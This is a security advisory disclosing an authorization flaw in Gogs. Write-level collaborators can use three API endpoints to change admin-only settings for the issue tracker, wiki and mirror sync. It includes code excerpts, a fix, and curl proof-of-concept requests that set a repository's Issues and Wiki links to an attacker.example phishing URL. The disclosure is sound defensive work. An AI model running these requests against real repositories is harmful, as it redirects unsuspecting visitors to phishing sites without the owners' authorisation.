Gogs's write-level collaborators can mutate admin-only repository settings via API

Summary

Three API endpoints — PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync — are gated by reqRepoWriter() rather than reqRepoAdmin(). The equivalent operations in the web UI sit behind reqRepoAdmin, which requires AccessMode >= AccessModeAdmin. A write-level collaborator (who has AccessMode == AccessModeWrite < AccessModeAdmin) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.

Severity

High (CVSS 3.1: 7.1)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

• Attack Vector: Network — the API endpoints are reachable over HTTP/S.
• Attack Complexity: Low — a single API call is sufficient; no chaining or race condition required.
• Privileges Required: Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.
• User Interaction: None — the attacker acts unilaterally.
• Scope: Unchanged — the impact is contained to the targeted repository's settings and its visitors.
• Confidentiality Impact: None — the attacker does not read confidential data directly.
• Integrity Impact: High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.
• Availability Impact: Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.

Affected component

• internal/route/api/v1/api.go — route registration (lines 365–367)
• internal/route/api/v1/repo_repo.go — issueTracker() (line 400), wiki() (line 437), mirrorSync() (line 463)

CWE

• CWE-863: Incorrect Authorization
• CWE-269: Improper Privilege Management

Description

Three admin-equivalent API endpoints are protected by write-level middleware

api.go:365-367 registers the three settings endpoints with reqRepoWriter():

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)

reqRepoWriter() (defined at api.go:131-138) passes any user whose repository AccessMode >= AccessModeWrite:

func reqRepoWriter() macaron.Handler {
    return func(c *context.Context) {
        if !c.Repo.IsWriter() {
            c.Status(http.StatusForbidden)
            return
        }
    }
}

The handlers themselves perform no additional privilege check before mutating state:

// internal/route/api/v1/repo_repo.go:400-428
func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    _, repo := parseOwnerAndRepo(c)
    ...
    if form.EnableExternalTracker != nil {
        repo.EnableExternalTracker = *form.EnableExternalTracker
    }
    if form.ExternalTrackerURL != nil {
        repo.ExternalTrackerURL = *form.ExternalTrackerURL   // ← attacker-controlled URL written directly
    }
    ...
    database.UpdateRepository(repo, false)   // ← no admin check before this call
}

The wiki() handler (lines 437–461) follows the same pattern, writing repo.ExternalWikiURL directly and calling UpdateRepository with no admin gate.

The web UI imposes a stricter admin requirement for the same operations

cmd/gogs/web.go:472 wraps the entire /settings subtree with reqRepoAdmin:

// cmd/gogs/web.go:425-472
m.Group("/:username/:reponame", func() {
    m.Group("/settings", func() {
        m.Combo("").Get(repo.Settings).
            Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)
        ...
    }, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())

context.RequireRepoAdmin() (defined at context/repo.go:434-441) requires AccessMode >= AccessModeAdmin:

func RequireRepoAdmin() macaron.Handler {
    return func(c *Context) {
        if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
            c.NotFound()
            return
        }
    }
}

In the access mode hierarchy, AccessModeWrite < AccessModeAdmin. A write-level collaborator satisfies reqRepoWriter() but does not satisfy RequireRepoAdmin(). The API path provides the write-level collaborator with capabilities that the UI correctly withholds.

Full execution chain

1. Attacker precondition: Attacker is added as a repository collaborator with write access (AccessMode == AccessModeWrite).
2. API call: PATCH /api/v1/repos/OWNER/REPO/issue-tracker with Authorization: token WRITER_TOKEN and body {"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}.
3. Middleware: reqRepoWriter() checks c.Repo.IsWriter() → AccessMode >= AccessModeWrite → passes.
4. Handler: issueTracker() sets repo.EnableExternalTracker = true and repo.ExternalTrackerURL = "https://attacker.example/phish", then calls database.UpdateRepository(repo, false). No admin check occurs.
5. Impact: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.

Proof of Concept

# Precondition: attacker is a collaborator with WRITE access, not repo admin.

# 1) Redirect the Issues tab to an attacker-controlled phishing page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'
# Expected: HTTP 204 No Content

# 2) Redirect the Wiki tab to an attacker-controlled page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
  -H "Authorization: token WRITER_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'
# Expected: HTTP 204 No Content

# 3) Force a mirror sync on a mirrored repository (potential resource abuse)
curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \
  -H "Authorization: token WRITER_TOKEN"
# Expected: HTTP 202 Accepted

Impact

• A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.
• The same redirect attack applies to the Wiki tab via the external wiki URL setting.
• Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.
• Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.
• All three operations are silent — no notification is sent to repo admins when these settings change via the API.

Recommended remediation

Option 1: Change middleware to reqRepoAdmin() on all three endpoints (preferred)

Replace reqRepoWriter() with reqRepoAdmin() at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.

// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)

Option 2: Add an explicit admin check inside the handlers

Add c.Repo.IsAdmin() checks at the top of issueTracker(), wiki(), and mirrorSync(). This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.

func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
    if !c.Repo.IsAdmin() {
        c.Status(http.StatusForbidden)
        return
    }
    ...
}

Credit

This vulnerability was discovered and reported by bugbunny.ai.